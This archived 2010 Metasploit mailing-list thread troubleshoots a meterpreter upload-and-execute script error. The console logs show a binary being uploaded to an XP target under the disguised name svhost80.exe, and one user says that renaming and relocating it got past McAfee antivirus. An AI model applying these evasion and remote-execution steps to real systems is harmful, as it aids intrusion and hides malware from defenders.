Re: upload and execute script error in meterpreter

[Rob Fuller <mubix () room362 com>]

Could you please reply with a bit more of your console log? I just ran
uploadexec without error. It might be how multiscript is parsing but I won't
know unless you post that portion of your console log.

Thanks,

--
Rob Fuller | Mubix
Certified Checkbox Unchecker
Room362.com | Hak5.org


On Fri, Oct 8, 2010 at 1:08 PM, Miguel Rios <miguelrios35 () yahoo com> wrote:

> Well, I tried changing some of the scripts default behavior (location and
> filename on the target) and it sucessfully bypassed mcafee, but I still get
> the annoying error (which i don't get if i run the bc.exe directly on the
> target, which is XP SP3):
>
>
> Finished!
> [*]     running script
> [-] Error: TypeError can't convert nil into String
> [-] Error in script:
>
>
> Any ideas?
>
> --- On *Fri, 10/8/10, Miguel Rios <miguelrios35 () yahoo com>* wrote:
>
>
> From: Miguel Rios <miguelrios35 () yahoo com>
> Subject: [framework] upload and execute script error in meterpreter
> To: framework () spool metasploit com
> Date: Friday, October 8, 2010, 3:22 PM
>
>
> Hi,
> When trying to run the upload and execute script in a meterpreter reverse
> tcp session I'm getting the following error because  McAfee Viruscan is
> picking up the created svhost*.exe as New Malware.b. When I download bc.exe
> directly and execute it on the target it runs fine and doesn't get picked up
> by McAfee Viruscan. It seems mcafee is picking up on the fact that svhost is
> being created rather than the actual binary. Anyone else have this
> experience? I guess I could try to change the script and change maybe the
> path and name of the uploaded file to see if that makes a difference.
>
> Running Multiscript script.....
> [*] Running script List ...
> [*]     running script uploadexec -e /opt/metasploit3/msf3/bc.exe
> [*] Running Upload and Execute Meterpreter script....
> [*]     Uploading /opt/metasploit3/msf3/bc.exe....
> [*]     /opt/metasploit3/msf3/bc.exe uploaded!
> [*]     Uploaded as C:\DOCUME~1\Util\LOCALS~1\Temp\svhost80.exe
> [*]     running command C:\DOCUME~1\Util\LOCALS~1\Temp\svhost80.exe
> [*] Error Running Command C:\DOCUME~1\Util\LOCALS~1\Temp\svhost80.exe:
> Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation
> failed: 2
> [*] Finished!
> [*]     running script
> [-] Error: TypeError can't convert nil into String
> [-] Error in script:
> Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation
> failed: 2
> [*] Finished!
> [*]     running script
> [-] Error: TypeError can't convert nil into String
> [-] Error in script:
>
>
>
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